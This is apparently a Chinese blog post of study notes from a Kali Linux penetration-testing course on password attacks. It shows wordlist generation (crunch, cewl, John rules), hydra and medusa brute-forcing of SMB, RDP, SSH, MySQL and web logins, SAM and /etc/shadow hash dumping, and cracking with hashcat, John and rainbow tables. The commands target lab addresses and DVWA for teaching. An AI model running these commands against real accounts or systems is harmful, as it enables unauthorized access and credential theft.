Kali Linux渗透测试 106 离线密码破解

本文记录 Kali Linux 2018.1 学习使用和渗透测试的详细过程,教程为安全牛课堂里的《Kali Linux 渗透测试》课程

Kali Linux渗透测试(苑房弘)博客记录

1. 密码破解简介


1. 思路

  1. 目标系统实施了强安全措施

    • 安装了所有补丁
    • 无任何已知漏洞
    • 无应用层漏洞
    • 攻击面最小化
  2. 社会工程学

  3. 获取目标系统用户身份

    • 非授权用户不受信,认证用户可以访问守信资源
    • 已知用户账号权限首先,需要提权
    • 不会触发系统报警

2. 身份认证方法

  1. 证明你是你声称你是的那个人

    • 你知道什么(账号密码、pin、passphrase)
    • 你有什么(令牌、token、key、证书、密宝、手机)
    • 你是谁(指纹、视网膜、虹膜、掌纹、声纹、面部识别)
    • 以上方法结合使用
  2. 基于互联网的身份验证仍以账号密码为主要形式

3. 密码破解方法

  1. 人工猜解

    • 垃圾桶工具
    • 被动信息收集
  2. 基于字典暴力破解(主流)

  3. 键盘空间字符爆破
  4. 字典

    • 保存有用户名和密码的文本文件
    • /usr/share/wordlist
    • /usr/share/wfuzz/wordlist
    • /usr/share/seclists

4. 字典

1. 简介

  1. 键盘空间字符爆破

    • 全键盘空间字符
    • 部分键盘空间字符(基于规则)
    • 数字、小写字母、大写字符、符号、空格、瑞典字符、高位 ASCII 码

2. crunch 创建密码字典

  1. crunch [] [options]

    • -b 按大小分割文件(kb/kib、mb/mib、gb/gib)
    • -c 每个字典的行数
    • 以上两个参数必须与 -o START 结合使用
    • -d 同一字符连贯出现数量(11/aaa)

      root@kali:~# crunch 6 6 0123456789 -o START -d 2 -b 100mb
      root@kali:~# crunch 6 6 0123456789 -o START -d 2 -c 100
      
  2. 字符集

    • crunch 4 4 -f /usr/share/crunch/charset.lst lalpha-sv -o 1.txt

      root@kali:~# file /usr/share/crunch/charset.lst
      root@kali:/usr/share/crunch# crunch 4 4 -f /usr/share/crunch/charset.lst lalpha-sv -o 1.txt
      root@kali:/usr/share/crunch# ll -h 1.txt 
      -rw-r--r-- 1 root root 3.7M 4月   4 06:52 1.txt
      
  3. 无重复字符

    crunch 1 1 -p 1234567890 | more
    
    • 必须是最后一个参数
    • 最大、最小字符长度失效,但必须存在
    • 与 -s 参数不兼容(-s 指定起始字符串)
    • crunch 4 4 0123456789 -s 9990
  4. 读取文件中每行内容作为基本字符生成字典

    crunch 1 1 -q read.txt
    

  5. 字典组成规则

    • crunch 6 6 -t @,%%^^ | more
    • -t:按位进行生成密码字典
    • @:小写字母 lalpha
    • ,:大写字母 ualpha
    • %:数字 numeric
    • ^:符号 symbols
  6. 输出文件压缩

    root@kali:~# crunch 4 5 -p dog cat bird
    

    • -z:指定压缩格式
    • 其他压缩格式:gzip、bzip2、lzma
    • 7z压缩比率最大
  7. 指定字符集

    root@kali:~# crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha-numeric-all-space -o w.txt -t @d@@ -s cdab
    
  8. 随机组合

    root@kali:~# crunch 4 5 -p dog cat bird
    

  9. crunch 5 5 abc DEF + !@# -t ,@^%,

    • 在小写字符中使用abc范围,大写字符使用 DEF 范围,数字使用占位符,符号使用!@#
      • 占位符
    • \ 转义符(空格、符号)
  10. 占位符

    root@kali:~# crunch 5 5 -t ddd%% -p dog cat bird
    
    • 任何不同于 -p 参数指定的值都是占位符
  11. 指定特例

    root@kali:~# crunch 5 5 -d 2@ -t @@@%%
    
    • 2@:不超过两个连续相同字符
  12. 组合应用

    • crunch 2 4 0123456789 | aircrack-ng a.cap -e MyESSID -w -
    • crunch 10 10 12345 –stdout | airolib-ng testdb -import passwd -

3. CUPP 按个人信息生成其专属的密码字典

  1. CUPP:Common User Password Profiler

4. cewl 通过收集网站信息生成字典

  1. cewl 1.1.1.1 -m 3 -d 3 -e -c -v -w a.txt

    • -m:最小单词长度
    • -d:爬网深度
    • -e:收集包含email地址信息
    • -c:每个单词出现次数
    • 支持基本、摘要 身份认证
    • 支持代理

5. 用户密码变型

  • 基于 cewl 的结果进行密码变型
  • 末尾增加数字串
  • 字母大小写变化
  • 字母与符号互相转换
  • 字母与数字互相转换
  • P@$$w0rd

6. 使用 John the Ripper 配置文件实现密码动态变型

  1. /etc/john/john.conf

    • [List.Rules:Wordlist]

      • [09] [0-9]$[0-9]

        john --wordlist=cewl.txt --rules --stdout > m.txt
        
    • [List.Rules:test]

      • [09] [0-9] [09] [a-zA-Z]
      • [09] [0-9] [09] [a-zA-Z] [azAZ] [a-zA-Z][`~!@#%^&*()-_=+]

        john --wordlist=cewl.txt --rules=test --stdout > m.txt
        john --wordlist=ahm.lst --rules=test HASHFILE
        

2. 在线密码破解


1. hydra

  1. 简介

    root@kali:~# hydra -hh
    Options:
      -R        restore a previous aborted/crashed session
      -I        ignore an existing restore file (don't wait 10 seconds)
      -S        perform an SSL connect
      -s PORT   if the service is on a different default port, define it here
      -l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE
      -p PASS  or -P FILE  try password PASS, or load several passwords from FILE
      -x MIN:MAX:CHARSET  password bruteforce generation, type "-x -h" to get help
      -y        disable use of symbols in bruteforce, see above
      -e nsr    try "n" null password, "s" login as pass and/or "r" reversed login
      -u        loop around users, not passwords (effective! implied with -x)
      -C FILE   colon separated "login:pass" format, instead of -L/-P options
      -M FILE   list of servers to attack, one entry per line, ':' to specify port
      -o FILE   write found login/password pairs to FILE instead of stdout
      -b FORMAT specify the format for the -o FILE: text(default), json, jsonv1
      -f / -F   exit when a login/pass pair is found (-M: -f per host, -F global)
      -t TASKS  run TASKS number of connects in parallel per target (default: 16)
      -T TASKS  run TASKS connects in parallel overall (for -M, default: 64)
      -w / -W TIME  wait time for a response (32) / between connects per thread (0)
      -c TIME   wait time per login attempt over all threads (enforces -t 1)
      -4 / -6   use IPv4 (default) / IPv6 addresses (put always in [] also in -M)
      -v / -V / -d  verbose mode / show login+pass for each attempt / debug mode 
      -O        use old SSL v2 and v3
      -q        do not print messages about connection errors
      -U        service module usage details
      -h        more command line options (COMPLETE HELP)
      server    the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)
      service   the service to crack (see below for supported protocols)
      OPT       some service modules support additional input (-U for module help)
    Use HYDRA_PROXY_HTTP or HYDRA_PROXY environment variables for a proxy setup.
    E.g. % export HYDRA_PROXY=socks5://l:p@127.0.0.1:9150 (or: socks4:// connect://)
         % export HYDRA_PROXY=connect_and_socks_proxylist.txt  (up to 64 entries)
         % export HYDRA_PROXY_HTTP=http://login:pass@proxy:8080
         % export HYDRA_PROXY_HTTP=proxylist.txt  (up to 64 entries)
    
    Examples:
      hydra -l user -P passlist.txt ftp://192.168.0.1
      hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
      hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
      hydra -l admin -p password ftp://[192.168.0.0/24]/
      hydra -L logins.txt -P pws.txt -M targets.txt ssh
    
  2. 密码破解

    • Windows 密码破解

      hydra -l administrator -P pass.lst smb://1.1.1.1/admin$ -vVd
      

      # rdp 协议不稳定,容易漏判
      hydra -l administrator -P pass.lst rdp://1.1.1.1 -t 1 -vV
      
    • Linux 密码破解

      hydra -l root -P pass.txt ssh://10.10.10.132 -vV
      

    • 其他服务密码破解

      • hydra -L user.lst -P pass.lst ftp://1.1.1.1 -s 2121 -e nsr -o p.txt -t 64 -vV
    • 图形化界面

      • xhydra
  3. HTTP表单身份认证

    hydra -l admin -P pass.lst 1.1.1.1 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=L in:S=index.php" -V
    hydra -l admin -P pass.lst 1.1.1.1 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=L in:Login Failed" -V 
    
    /foo.php:user=^USER^&pass=^PASS^:S=success:C=/page/cookie:H =X-Foo: Foo
    
    - C:先访问指定页面取得cookie
    - H:指定http头
    
    • https-post-form、http-get-form、https-get-form
    • -S:使用SSL连接
  4. 密码破解效率

    • 密码复杂度(字典命中率)
    • 带宽、协议、服务器性能、客户端性能
    • 锁定阈值
    • 单位时间最大登陆请求次数
  5. Hydra 的缺点

    • 稳定性差,程序时常崩溃
    • 速度控制不好,容易触发服务屏蔽或锁死机制
    • 每主机新建进程,每服务新建实例
    • 大量目标破解时性能差

2. pw-inspector

  1. Hydra 小工具 pw-inspector

    • 按长度和字符集筛选字典
    • pw-inspector -i /usr/share/wordlists/nmap.lst -o p1.lst -l
    • pw-inspector -i /usr/share/wordlists/nmap.lst -o P2.lst -u
    • pw-inspector -i /usr/share/wordlists/nmap.lst -o P2.lst -u -m 3 -M 5

3. medusa

  1. Medusa 的特点

    • 稳定性好
    • 速度控制得当
    • 基于线程
    • 支持模块少于hydra(不支持RDP)
    • WEB-Form 支持存在缺陷
  2. 查看支持的模块

    root@kali:~# medusa -d
    

  3. 破解windows密码

    # -M 指定模块名,使用 -d 可以查询
    root@kali:~# medusa -M smbnt -h 10.10.10.137 -u kevin -P pass.txt -e ns -F
    

  4. 破解Linux SSH密码

    # 使用 ssh 模块
    root@kali:~# medusa -M ssh -h 10.10.10.132 -u root -P pass.txt -e ns –F
    

  5. 其他服务密码破解

    root@kali:~# medusa -M mysql -h 10.10.10.132 -u root -P pass.txt -e ns -F
    

    # 查看模块用法
    root@kali:~# medusa -M web-form -q
    

    # 表单身份认证
    root@kali:~# medusa -h 1.1.1.1 -u admin -P pass.lst -M web-form -m FORM:"dvwa/login.php" -m DENY-SIGNAL:"login.php" -m FORM-DATA:"post?user=username&pass=password&Login=Login"
    
  6. 参数

    • -n:非默认端口
    • -s:使用SSL连接
    • -T:并发主机数
    • medusa -M ftp -q

3. 离线密码破解


1. 简介

  1. 身份认证

    • 禁止明文传输密码
    • 每次认证使用HASH算法加密密码传输(HASH算法加密容易、解密困难)
    • 服务器端用户数据库应加盐加密保存
  2. 破解思路

    • 嗅探获取密码HASH
    • 利用漏洞登陆服务器并从用户数据库获取密码HASH
    • 识别HASH类型
  3. 长度、字符集

    • 利用离线破解工具碰撞密码HASH
  4. 优势

    • 离线不会触发密码锁定机制
    • 不会产生大量登陆失败日志引起管理员注意

2. HASH 识别工具

1. hash-identifier

  1. 进行 hash 计算

    结果:5f4dcc3b5aa765d61d8327deb882cf99

  2. 进行 hash 识别

2. hashid

  1. 可能识别错误或无法识别

3. HASH 密码获取

1. samdump2

  1. Windows HASH 获取工具

    • 利用漏洞:Pwdump、fgdump、 mimikatz、wce
    • 物理接触:samdump2

      • 将待攻击主机关机
      • 使用 Kali ISO 在线启动此主机
      • 发现此 windows 机器安装有两块硬盘
    • mount /dev/sda1 /mnt

      • 将硬盘挂载
    • cd /mnt/Windows/System32/config

      • 切换目录
    • samdump2 SYSTEM SAM -o sam.hash

      • 导出密码
    • 利用 nc 传输 HASH

      HASH 值:31d6cfe0d16ae931b73c59d7e0c089c0

2. syskey 工具进行密码加密

  1. 使用 syskey 进行加密(会对 SAM 数据库进行加密)

  2. 重启需要输入密码才能进一步登录

  3. 使用 kali iso live

    • 获取到 hash 值
    • hashcat 很难破解
  4. 使用 bkhive 破解

    • 使用 Bootkey 利用RC4算法加密 SAM 数据库
    • Bootkey 保存于 SYSTEM 文件中
    • bkhive

      • 从 SYSTEM 文件中提取 bootkey
      • Kali 2.0 抛弃了 bkhive
      • 编译安装 :http://http.us.debian.org/debian/pool/main/b/bkhive/
      • 在windows的 kali live 模式下,运行

        root@kali:/mnt/Windows/System32/config# bkhive SYSTEM key.txt
        root@kali:/mnt/Windows/System32/config# cat key.txt
        
      • samdump2 SAM key (版本已更新,不再支持此功能)

    • 建议使用 Kali 1.x

1. Hashcat

  1. 简介

    • 开源多线程密码破解工具
    • 支持80多种加密算法破解
    • 基于CPU的计算能力破解
    • 六种模式 (-a 0)

      • 0 Straight:字典破解
      • 1 Combination:将字典中密码进行组合(1 2 > 11 22 12 21)
      • 2 Toggle case:尝试字典中所有密码的大小写字母组合
      • 3 Brute force:指定字符集(或全部字符集)所有组合
      • 4 Permutation:字典中密码的全部字符置换组合(12 21)
      • 5 Table-lookup:程序为字典中所有密码自动生成掩码
    • 命令

      • hashcat -b
      • hashcat -m 100 hash.txt pass.lst
      • hashcat -m 0 hash.txt -a 3 ?l?l?l?l?l?l?l?l?d?d
      • 结果:hashcat.pot
      • hashcat -m 100 -a 3 hash -i –increment-min 6 –increment-max 8 ?l?l?l?l?l?l?l?l
      • 掩码动态生成字典

        • ?l = abcdefghijklmnopqrstuvwxyz
        • ?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ
        • ?d = 0123456789
        • ?s = !”#$%&’()*+,-./:;<=>?@[]^_`{|}~
        • ?a = ?l?u?d?s
        • ?b = 0x00 - 0xff
  2. 使用

    1. 生成文件

      root@kali:~# echo 31d6cfe0d16ae931b73c59d7e0c089c0 > hash.txt
      
    2. 计算 hash 类型

      root@kali:~# hash-identifier
      

      结果 MD5

    3. 查看 MD5 代表的值

    4. 进行破解

      root@kali:~# hashcat -m 0 hash.txt pass.txt
      

2. oclhashcat

  1. 简介

    • 号称世界上最快、唯一的基于GPGPU的密码破解软件
    • 免费开源、支持多平台、支持分布式、150+hash算法
    • 硬件支持
      • 虚拟机中无法使用
      • 支持 CUDA 技术的Nvidia显卡
      • 支持 OpenCL 技术的AMD显卡
      • 安装相应的驱动
    • 限制

      • 最大密码长度 55 字符
      • 使用Unicode的最大密码长度 27 字符
    • 关于版本

      • oclHashcat-plus、oclHashcat-lite 已经合并为 oclhashcat
    • 命令

      • oclHashcat -m 0 hash.txt -a 3 ?a?a?a?a?a?a?a
      • ?l = abcdefghijklmnopqrstuvwxyz
      • ?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ
      • ?d = 0123456789
      • ?s = !”#$%&’()*+,-./:;<=>?@[]^_`{|}~
      • ?a = ?l?u?d?s
      • ?b = 0x00 - 0xff

3. RainbowCrack

  1. 简介

    • 基于时间记忆权衡技术生成彩虹表
    • 提前计算密码的HASH值,通过比对HASH值破解密码
    • 计算HASH的速度很慢,修改版支持CUDA GPU
    • 彩虹表
      • 密码明文、HASH值、HASH算法、字符集、明文长度范围
  2. KALI 中包含的 RainbowCrack 工具

    • rtgen:预计算,生成彩虹表,时的阶段
    • rtsort:对 rtgen 生成的彩虹表行排序
    • rcrack:查找彩虹表破解密码
    • 以上命令必须顺序使用

    • rtgen

      • LanMan、NTLM、MD2、MD4、MD5、SHA1、SHA256、RIPEMD160
      • rtgen md5 loweralpha 1 5 0 10000 10000 0
      • 计算彩虹表时间可能很长
    • 下载彩虹表

    • 彩虹表排序

      • /usr/share/rainbowcrack
      • rtsort /md5_loweralpha#1-5_0_1000x1000_0.rt
    • 密码破解
      • rcrack *.rt -h 5d41402abc4b2a76b9719d911017c592
      • rcrack *.rt -l hash.txt

4. John

  1. 简介

    • 基于 CPU
    • 支持众多服务应用的加密破解

      root@kali:~# john --list=formats
      
    • 支持某些对称加密算法破解

    • 模式

      • Wordlist:基于规则的字典破解
      • Single crack:默认被首先执行,使用Login/GECOS信息尝试破解
      • Incremental:所有或指定字符集的暴力破解
      • External:需要在主配配文件中用C语言子集编程
    • 默认破解模式

      • Single、wordlist、incremental
      • 主配置文件中指定默认wordlist
  2. 破解Linux系统账号密码

    root@kali:~# unshadow /etc/passwd /etc/shadow > pass.txt
    root@kali:~# john pass.txt
    root@kali:~# john --show pass
    
  3. 破解windows密码

    root@kali:~# john hash.txt --wordlist=/usr/share/john/password.lst --format=nt
    root@kali:~# john sam.dump --format=nt --show
    
  4. Johnny 图形化界面的john

5. ophcrack

  1. 简介

  • 0
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Kali Linux是一种专门用于渗透测试和网络安全的操作系统。它集成了大量的渗透测试工具和资源,使得安全专业人员能够有效地评估和保护网络系统的安全性。 Kali Linux提供了多种渗透测试靶机,用于练习和测试渗透测试技术。这些靶机模拟了真实世界中的各种漏洞和攻击场景,帮助安全专业人员熟悉和理解不同类型的漏洞,并学习如何利用它们。 以下是一些常见的Kali Linux渗透测试靶机: 1. Metasploitable:Metasploitable是一个故意构建的易受攻击的虚拟机,它包含了多个漏洞和弱点,可以用于学习和实践Metasploit框架的使用。 2. DVWA(Damn Vulnerable Web Application):DVWA是一个故意构建的Web应用程序,包含了多个常见的Web漏洞,如SQL注入、XSS等,可以用于学习和实践Web应用程序渗透测试技术。 3. OWASP Mutillidae II:Mutillidae II是一个故意构建的Web应用程序,旨在模拟真实世界中的各种Web漏洞和攻击场景,包括SQL注入、文件包含等。 4. Hack The Box:Hack The Box是一个在线平台,提供了一系列的渗透测试靶机,每个靶机都有不同的漏洞和挑战,可以用于测试和提高渗透测试技能。 这些渗透测试靶机都可以在Kali Linux上进行安装和使用。通过实践和探索这些靶机,安全专业人员可以提高他们的渗透测试技能,并了解如何保护网络系统免受各种攻击

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值